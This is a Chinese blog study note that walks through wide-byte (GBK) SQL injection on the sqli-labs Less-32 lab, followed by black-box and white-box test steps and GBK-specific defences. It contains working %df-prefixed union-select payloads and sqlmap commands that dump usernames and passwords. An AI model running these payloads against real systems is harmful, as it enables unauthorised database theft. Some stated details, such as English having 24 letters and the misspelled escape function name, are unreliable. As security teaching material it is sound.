学习笔记-渗透测试-SQL注入_009_宽字节注入
在一些特定的场景,常规语句不能直接进行注入,但是因为程序代码开发存在一些瑕疵,我们可以使用PHP的一些特性进行注入,比如这次的宽字节注入
1 宽字节注入原理
1.1 什么是宽字节?
如果一个字符其大小为1个字节的称为窄字节,如果为两个字符的就被称为宽字节
一个字节有八个bit,有255种组成方式,英文由于只有24个字符所以1个字节就够用了,而中文汉字字符数量就太多了,所以默认都是两个字节
韩文日文也需要使用两个字符来表示
GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常见的宽字节(2字节)
1.2 宽字节注入
比如说我们现在要查询当前数据库
http://192.168.101.200/Less-32/?id=-1' union select 1,2,(select database()) --+
但是,随着SQL注入越发广为人知,程序员们会使用很多方法来防止SQL注入的发送
最初都是使用的简单的转义,比如把id=-1'的'转义为\',就能破坏闭合,导致注入不能执行,比如在32关中就是使用这种方式,让直接进行联合查询已经不会起作用

我们来看一下32关源代码

32关已经对SQL注入的情况有了一些防护,在第二部让特殊的字符做了一下替换,会让输入变多了一个\,并且我们也在第三步知道了数据库连接的时候使用了gbk编码
http://192.168.101.200/Less-32/?id=-1\' union select 1,2,(select database()) --+
我们就要想办法把\消灭掉
在Http传输的时候,符号是会经过一次编码的,上述语句编码后就是这样
http://192.168.101.200/Less-32/?id=-1\%27%20union%20select%201,2,(select%20database())%20--+
在Mysql使用GBK编码的时候,如果前一个字符的编码大于了128后面还跟了一个字符编码的话,则会认为这两个字符编码是一个汉字值
http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select database()) --+
所以前面加%df,来让GBK编码认为%df+\是一个中文汉字达到绕过的目的

1.3 测试方案
1.3.1 黑盒测试
在可能的注入点后键入%df,之后进行注入测试
1.3.2 白盒测试
-
查看Mysql编码是否为GBK
-
是否使用preg_replace把单引号替换成
\' -
是否使用addslashes进行转义
-
是否使用mysql_real_escaoe_string进行转义
mysql_real_escaoe_string原本就是用于抵抗宽字节转义的,他在转义特殊字符的情况时,也会考虑当前连接的字符集,但是在部分场景还是不能抵抗,因为程序没有指定连接PHP_Mysql的字符集
2 手工注入
2.1 查询当前用户
http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select user()) --+

2.2 查询表名
http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

2.3 查询列名
http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select column_name from information_schema.columns where table_name=0x7573657273 limit 5,1) --+

2.4 查询数据
http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select concat(username,1,password) from security.users limit 0,1) --+

3 sqlmap注入
我们首先直接使用sqlmap进行测试
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1"
返回结果id不可注入

我们提前在后面加一个%df
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df"

也可以取数据
3.1 查询当前用户
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" --current-user

3.2 查询当前数据库
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" --current-db

3.3 查询数据表信息
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security --tables

3.4 查询列信息
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security -T users --columns

3.5 查询用户信息
python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security -T users -C username,password --dump

4 宽字节防御
-
使用utf-8编码,避免宽字节注入
宽字节注入不止是gbk中,韩文、日文等都是宽字节,都有可能存在宽字节注入
-
使用
mysql_real_escaoe_string,使用的时候要加上mysql_set_charset('gbk',$conn); -
可以设置mysql的连接参数,
character_set_client=binary
本文来自博客园,作者:kinghtxg,转载请注明原文链接:https://www.cnblogs.com/kinghtxg/articles/17158168.html

浙公网安备 33010602011771号